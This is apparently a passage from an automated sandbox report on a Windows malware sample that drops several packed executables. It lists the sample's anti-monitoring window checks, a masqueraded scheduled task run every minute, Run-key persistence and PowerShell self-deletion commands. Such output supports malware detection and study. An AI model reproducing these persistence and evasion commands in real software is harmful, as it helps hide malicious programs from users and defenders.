                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32Jump to behavior
                              Source: Window RecorderWindow detected: More than 3 window changes detected
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Google\Chrome\Extensions
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\graph
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\graph\graph.exe
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
                              Source: file.exeStatic file information: File size 2969600 > 1048576
                              Source: file.exeStatic PE information: Raw size of oadzzmvp is bigger than: 0x100000 < 0x2a3600
                              Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb% source: 4115805b10.exe, 00000027.00000003.2754575088.00000268125C2000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000029.00000000.2754980065.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 00000029.00000002.2936121844.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000002.2935569861.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000000.2777839944.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000000.2854750206.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000002.2936047599.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp
                              Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp
                              Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb[ source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp
                              Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000005.00000002.2942570852.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, 322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmp
                              Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000005.00000002.2942570852.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, 322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmp
                              Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb source: 4115805b10.exe, 00000027.00000003.2754575088.00000268125C2000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000029.00000000.2754980065.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 00000029.00000002.2936121844.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000002.2935569861.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000000.2777839944.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000000.2854750206.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000002.2936047599.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp

                              Data Obfuscation

                              barindex
                              Detected unpacking (changes PE section rights)
                              Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W;oadzzmvp:EW;ccijuplx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oadzzmvp:EW;ccijuplx:EW;.taggant:EW;
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeUnpacked PE file: 1.2.skotes.exe.150000.0.unpack :EW;.rsrc:W;.idata :W;oadzzmvp:EW;ccijuplx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oadzzmvp:EW;ccijuplx:EW;.taggant:EW;
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeUnpacked PE file: 5.2.skotes.exe.150000.0.unpack :EW;.rsrc:W;.idata :W;oadzzmvp:EW;ccijuplx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oadzzmvp:EW;ccijuplx:EW;.taggant:EW;
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeUnpacked PE file: 32.2.b2885fa695.exe.3d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wekcazbo:EW;ttllozcv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wekcazbo:EW;ttllozcv:EW;.taggant:EW;
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeUnpacked PE file: 42.2.b7c03317c9.exe.9c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pfkrromk:EW;hghjijlv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pfkrromk:EW;hghjijlv:EW;.taggant:EW;
                              Suspicious powershell command line found
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exeJump to behavior
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: random[2].exe1.5.drStatic PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,6_2_00402665
                              Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                              Source: random[1].exe.5.drStatic PE information: real checksum: 0x0 should be: 0x7aa07
                              Source: b7c03317c9.exe.5.drStatic PE information: real checksum: 0x445664 should be: 0x4486a1
                              Source: Gxtuum.exe.36.drStatic PE information: real checksum: 0x0 should be: 0x7aa07
                              Source: random[2].exe0.5.drStatic PE information: real checksum: 0x1a555c should be: 0x15e8ab
                              Source: b2885fa695.exe.5.drStatic PE information: real checksum: 0x1d4149 should be: 0x1d15dc
                              Source: 4115805b10.exe.5.drStatic PE information: real checksum: 0x0 should be: 0x9f7ff
                              Source: 7z.exe.6.drStatic PE information: real checksum: 0x0 should be: 0x7b29e
                              Source: 7z.dll.6.drStatic PE information: real checksum: 0x0 should be: 0x1a2c6b
                              Source: random[1].exe2.5.drStatic PE information: real checksum: 0x1d4149 should be: 0x1d15dc
                              Source: Intel_PTT_EK_Recertification.exe.20.drStatic PE information: real checksum: 0x0 should be: 0x1c320c
                              Source: in.exe.18.drStatic PE information: real checksum: 0x0 should be: 0x1c320c
                              Source: graph.exe.39.drStatic PE information: real checksum: 0x0 should be: 0x46f82
                              Source: 4cdf81e042.exe.5.drStatic PE information: real checksum: 0x1a555c should be: 0x15e8ab
                              Source: random[2].exe1.5.drStatic PE information: real checksum: 0x0 should be: 0x14b59
                              Source: file.exeStatic PE information: real checksum: 0x2db94a should be: 0x2e37b5
                              Source: skotes.exe.0.drStatic PE information: real checksum: 0x2db94a should be: 0x2e37b5
                              Source: random[1].exe0.5.drStatic PE information: real checksum: 0x0 should be: 0x9f7ff
                              Source: 72f44ceb0a.exe.5.drStatic PE information: real checksum: 0x0 should be: 0x7aa07
                              Source: random[2].exe.5.drStatic PE information: real checksum: 0x445664 should be: 0x4486a1
                              Source: 322c3dce5b.exe.5.drStatic PE information: real checksum: 0x0 should be: 0x14b59
                              Source: file.exeStatic PE information: section name:
                              Source: file.exeStatic PE information: section name: .idata
                              Source: file.exeStatic PE information: section name: oadzzmvp
                              Source: file.exeStatic PE information: section name: ccijuplx
                              Source: file.exeStatic PE information: section name: .taggant
                              Source: skotes.exe.0.drStatic PE information: section name:
                              Source: skotes.exe.0.drStatic PE information: section name: .idata
                              Source: skotes.exe.0.drStatic PE information: section name: oadzzmvp
                              Source: skotes.exe.0.drStatic PE information: section name: ccijuplx
                              Source: skotes.exe.0.drStatic PE information: section name: .taggant
                              Source: random[2].exe.5.drStatic PE information: section name:
                              Source: random[2].exe.5.drStatic PE information: section name: .idata
                              Source: random[2].exe.5.drStatic PE information: section name:
                              Source: random[2].exe.5.drStatic PE information: section name: pfkrromk
                              Source: random[2].exe.5.drStatic PE information: section name: hghjijlv
                              Source: random[2].exe.5.drStatic PE information: section name: .taggant
                              Source: b7c03317c9.exe.5.drStatic PE information: section name:
                              Source: b7c03317c9.exe.5.drStatic PE information: section name: .idata
                              Source: b7c03317c9.exe.5.drStatic PE information: section name:
                              Source: b7c03317c9.exe.5.drStatic PE information: section name: pfkrromk
                              Source: b7c03317c9.exe.5.drStatic PE information: section name: hghjijlv
                              Source: b7c03317c9.exe.5.drStatic PE information: section name: .taggant
                              Source: random[2].exe0.5.drStatic PE information: section name: .eh_fram
                              Source: 4cdf81e042.exe.5.drStatic PE information: section name: .eh_fram
                              Source: random[1].exe2.5.drStatic PE information: section name:
                              Source: random[1].exe2.5.drStatic PE information: section name: .idata
                              Source: random[1].exe2.5.drStatic PE information: section name:
                              Source: random[1].exe2.5.drStatic PE information: section name: wekcazbo
                              Source: random[1].exe2.5.drStatic PE information: section name: ttllozcv
                              Source: random[1].exe2.5.drStatic PE information: section name: .taggant
                              Source: b2885fa695.exe.5.drStatic PE information: section name:
                              Source: b2885fa695.exe.5.drStatic PE information: section name: .idata
                              Source: b2885fa695.exe.5.drStatic PE information: section name:
                              Source: b2885fa695.exe.5.drStatic PE information: section name: wekcazbo
                              Source: b2885fa695.exe.5.drStatic PE information: section name: ttllozcv
                              Source: b2885fa695.exe.5.drStatic PE information: section name: .taggant
                              Source: in.exe.18.drStatic PE information: section name: UPX2
                              Source: Intel_PTT_EK_Recertification.exe.20.drStatic PE information: section name: UPX2
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B0D91C push ecx; ret 0_2_00B0D92F
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B01359 push es; ret 0_2_00B0135A
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 1_2_0016D91C push ecx; ret 1_2_0016D92F
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001A0168 push es; retf 0004h5_2_001A022E
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0016D91C push ecx; ret 5_2_0016D92F
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0018DEDB push ss; iretd 5_2_0018DEDC
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0016DFC6 push ecx; ret 5_2_0016DFD9
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004192C0 push eax; ret 6_2_004192EE
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00CA676A push rcx; ret 10_2_00CA676B
                              Source: file.exeStatic PE information: section name: entropy: 7.983040046559541
                              Source: skotes.exe.0.drStatic PE information: section name: entropy: 7.983040046559541
                              Source: random[2].exe.5.drStatic PE information: section name: pfkrromk entropy: 7.954681489515957
                              Source: b7c03317c9.exe.5.drStatic PE information: section name: pfkrromk entropy: 7.954681489515957
                              Source: random[1].exe2.5.drStatic PE information: section name: entropy: 7.980952558000639
                              Source: random[1].exe2.5.drStatic PE information: section name: wekcazbo entropy: 7.952954751128578
                              Source: b2885fa695.exe.5.drStatic PE information: section name: entropy: 7.980952558000639
                              Source: b2885fa695.exe.5.drStatic PE information: section name: wekcazbo entropy: 7.952954751128578
                              Source: initial sampleStatic PE information: section name: UPX0
                              Source: initial sampleStatic PE information: section name: UPX1
                              Source: initial sampleStatic PE information: section name: UPX0
                              Source: initial sampleStatic PE information: section name: UPX1

                              Persistence and Installation Behavior

                              barindex
                              Creates files in the system32 config directory
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\json[1].json
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\sendMessage[1].json
                              Uses cmd line tools excessively to alter registry or file data
                              Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exe
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exe
                              Source: C:\Windows\System32\cmd.exeProcess created: attrib.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: attrib.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeFile created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeFile created: C:\Users\user\AppData\Local\Temp\main\7z.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeFile created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeFile created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeFile created: C:\Users\user\AppData\Local\Temp\main\7z.dllJump to dropped file
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile created: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeFile created: C:\Program Files\Windows Media Player\graph\graph.exeJump to dropped file

                              Boot Survival

                              barindex
                              Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                              Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                              Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                              Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                              Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonClassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonClassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonClassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: RegmonclassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: FilemonclassJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: FilemonClass
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: RegmonClass
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: FilemonClass
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: Regmonclass
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: Filemonclass
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: FilemonClass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: RegmonClass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: FilemonClass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: Regmonclass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: Filemonclass
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: PROCMON_WINDOW_CLASS
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeWindow searched: window name: Regmonclass
                              Uses schtasks.exe or at.exe to add and modify task schedules
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                              Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\skotes.jobJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Graph
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Graph
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeRegistry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeRegistry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph
                              Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
